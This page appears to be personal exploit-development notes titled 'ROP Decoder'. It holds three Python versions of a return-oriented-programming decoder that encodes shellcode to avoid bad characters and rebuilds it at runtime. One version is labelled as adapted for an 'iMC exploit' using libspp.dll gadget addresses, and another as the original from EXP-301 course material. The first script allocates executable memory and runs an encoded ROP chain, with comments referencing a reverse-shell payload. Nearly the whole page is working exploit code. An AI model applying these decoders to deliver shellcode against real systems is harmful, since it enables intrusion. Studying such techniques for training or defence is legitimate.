ROP Decoder
Rop Decoder Mk2
import ctypes, struct
from struct import pack
from keystone import *
#only works with breaks in the shellcode while debugging ...
CODE = (
" start: " #
" nop ;"
#" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
" jmp rop ;"
#ROP gadgets
" pop eax ;"
" ret ;"
" neg eax ;"
" ret ;"
" pop ebx ;"
" ret ;"
" add eax, edx ;"
" ret ;"
" xchg eax, edx ;"
" ret ;"
" add byte ptr [edx], bh ;"
" ret ;"
" pop edx ;"
" ret ;"
" mov esi, edx ;"
" ret ;"
" int3 ;"
" jmp esi ;"
" rop: "
" jmp startup ;"
" getpc: "
" int3 ;"
" pop esp ;"
" ret ;"
" startup: ;"
" call getpc ;" #the %eax register now contains %eip on the next line
)
def mapBadChars(sh):
BADCHARS = []
bad_characters = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
for b in bad_characters:
BADCHARS.append(b)
for x in range(0x80, 256):
BADCHARS.append(x)
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex, BADCHARS
def encodeShellcode(sh, badchars, badIndex):
replacechars = {}
replacevalue = {}
for b in badIndex:
s = sh[b]
i = 0
while s in badchars or ((-i) & 0xffffffff) in badchars:
if s > 1:
s = s - 1
else:
s = 255
i += 1
replacechars[b] = s
replacevalue[b] = i
encodedShell = sh
for b in replacechars.keys():
encodedShell = encodedShell.replace(pack("B", sh[b]), pack("B", replacechars[b] ))
return encodedShell, replacevalue
def decodeShellcode(replacevalue, shellcode, base):
#loadOffset
#tempReg = eax
#payloadPtr = edx
#writeReg = ebx
pop_eax = base + 0x03 # pop eax; ret; :: libspp.dll
neg_eax = base + 0x05 # neg eax; ret; :: libspp.dll
pop_ebx = base + 0x08 # pop ebx; ret; :: libspp.dll
add_eax_edx = base + 0x0a # add eax, edx; retn 0x0004
xchg_eax_edx = base + 0x0d # xchg eax, edx; ret; :: libspp.dll
add_edx_bh = base + 0x0f
call_esi = base + 0x17
#adds 7 dwords per encoded instruction (optimally)
#pop tempReg < neg_offset
#neg tempReg
#add payloadPtr, tempReg
#pop writeReg < value_to_add
#mov [payloadPtr], writeReg
#popTemp()
#negTemp()
#addTemp()
#popWrite()
#writeToPtr()
def popTemp(neg_offset):
rop = pack("<L", (pop_eax)) # pop ecx ; ret
rop += pack("<L", (neg_offset))
return rop
def negTemp():
rop = pack("<L", (neg_eax))
return rop
def addPtrTemp():
rop = pack("<L", add_eax_edx)
rop += pack("<L", xchg_eax_edx)
return rop
def popWrite(value):
rop = pack("<L" , (pop_ebx))
rop += pack("<L", (value))
return rop
def writeToPtr():
rop = pack("<L", (add_edx_bh)) # add byte ptr [edx], bh ; ret
return rop
def loadOffset(restoreRop, neg_offset):
restoreRop += popTemp(neg_offset)
restoreRop += negTemp()
restoreRop += addPtrTemp()
return restoreRop
def writeAdj(restoreRop, value):
restoreRop += popWrite(value)
restoreRop += writeToPtr()
return restoreRop
#REPLACECHARS = b"\xff\x0c\x10\x23\x24\x2a\x3c"
#CHARSTOADD = b"\x01\x01\x01\x02\x02\x01\x01"
restoreRop = b""
#calcNegOffset()
for i in replacevalue.keys():
if i < len(replacevalue):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = replacevalue[i]
value = (value << 8) | 0x11110011
if neg_offset != 0:
restoreRop = loadOffset(restoreRop, neg_offset)
restoreRop = writeAdj(restoreRop, value)
#for testing purposes
restoreRop += pack("<L", call_esi)
return restoreRop
def findShellLoc(ropLen, base):
pop_edx = base + 0x12
mov_esi_edx = base + 0x14
shellPosition = pack("<L", (pop_edx))
shellPosition += pack("<L", base + (ropLen+0xc)) #need to include the instructions were adding here
shellPosition += pack("<L", mov_esi_edx)
return shellPosition
# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
# print(e)
sh += struct.pack("B", e)
shellcode = bytearray(sh)
#test rop + windows/shell_reverse_tcp = 2748 bytes
toEncode = b""
#test rop chain from extra mile 2
#toEncode += b"\xb5\x6a\x13\x10\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\xad\x28\x10\x10\x42\x42\x42\x42\x42\x42\x42\x42\xd4\xb4\x0c\x10\x29\xf7\x02\x10\xf0\xcf\xbc\xff\xe6\xa3\x05\x10\x4c\xdc\x14\x10\xf5\xe9\x05\x10\xd0\xa3\xfe\xff\x68\xc1\x14\x10\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\x10\x7b\x16\x10\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\xff\xff\xff\xff\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\x10\x7b\x16\x10\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\x80\xfc\xff\xff\xe6\xa3\x05\x10\xf9\xf9\x03\x10\x4e\xd2\x12\x10\x42\x42\x42\x42\xd4\xb4\x0c\x10\x7a\xdc\x0c\x10\x7a\xdc\x0c\x10\xd4\xb4\x0c\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\x67\xfb\xff\xff\xe6\xa3\x05\x10\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\xb5\x6a\x13\x10\x42\x42\x42\x42\x42\x42\x42\x42\xad\x28\x10\x10\x42\x42\x42\x42\x42\x42\x42\x42\x4e\xd2\x12\x10\x29\xf7\x02\x10\xe8\xff\xff\xff\xf9\xf9\x03\x10\xa9\x94\x13\x10\x42\x42\x42\x42"
badIndex, BADCHARS = mapBadChars(toEncode)
encoded,replacechars = encodeShellcode(toEncode, BADCHARS, badIndex )
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)+len(encoded)+0x5000),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
ptr = 0x40abbc00
ropDecoder = decodeShellcode(replacechars, encoded, ptr)
nops = b"\x90" * 0x30
shellPosition = findShellLoc((len(ropDecoder)+len(shellcode))+len(nops), ptr)
ropDecoder = shellPosition + ropDecoder
print(f"Decoder length {len(ropDecoder)}")
egghunter = ""
i = 0
for dec in ropDecoder:
i += 1
egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("egghunter = (\"" + egghunter + "\")")
print(i)
shellcode = shellcode + ropDecoder + nops + encoded
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
base = hex(ptr)
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
Modified version for iMC exploit by DS
def mapBadChars(sh):
BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
print(badIndex)
return badIndex
def encodeShellcode(sh):
BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
REPLACECHARS = b"\xff\x0c\x10\x23\x24\x2a\x3c"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(pack("B", BADCHARS[i]), pack("B", REPLACECHARS[i]))
return encodedShell
def decodeShellcode(badIndex, shellcode):
pop_eax = 0x1002f729 # pop eax; ret; :: libspp.dll
neg_eax = 0x1005a3e6 # neg eax; ret; :: libspp.dll
pop_ebx = 0x10097bfe # pop ebx; ret; :: libspp.dll
add_eax_edx = 0x1003f9f9 # add eax, edx; retn 0x0004
xchg_eax_edx = 0x100cb4d4 # xchg eax, edx; ret; :: libspp.dll
BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
CHARSTOADD = b"\x01\x01\x01\x02\x02\x01\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value << 8) | 0x11110011
restoreRop += pack("<L", (pop_eax)) # pop ecx ; ret
restoreRop += pack("<L", (neg_offset))
restoreRop += pack("<L", (neg_eax)) # sub eax, ecx ; pop ebx ; ret
restoreRop += pack("<L", add_eax_edx)
restoreRop += pack("<L", xchg_eax_edx)
restoreRop += pack("<L", 0x42424242) #junk for ret 0x04
restoreRop += pack("<L" , (pop_ebx))
restoreRop += pack("<L", (value)) # values in BH
restoreRop += pack("<L", (0x10139ad1)) # add byte ptr [edx], bh ; ret
Original provided in EXP-301
def mapBadChars(sh):
BADCHARS = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex
def encodeShellcode(sh):
BADCHARS = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
REPLACECHARS = b"\xff\x10\x06\x07\x08\x05\x1f"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(pack("B", BADCHARS[i]), pack("B", REPLACECHARS[i]))
return encodedShell
def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
CHARSTOADD = b"\x01\xf9\x04\x04\x04\x08\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value << 8) | 0x11110011
restoreRop += pack("<L", (dllBase + 0x117c)) # pop ecx ; ret
restoreRop += pack("<L", (neg_offset))
restoreRop += pack("<L", (dllBase + 0x4a7b6)) # sub eax, ecx ; pop ebx ; ret
restoreRop += pack("<L", (value)) # values in BH
restoreRop += pack("<L", (0x10139ad1)) # add byte ptr [edx], bh ; ret
return restoreRop
Last updated
Was this helpful?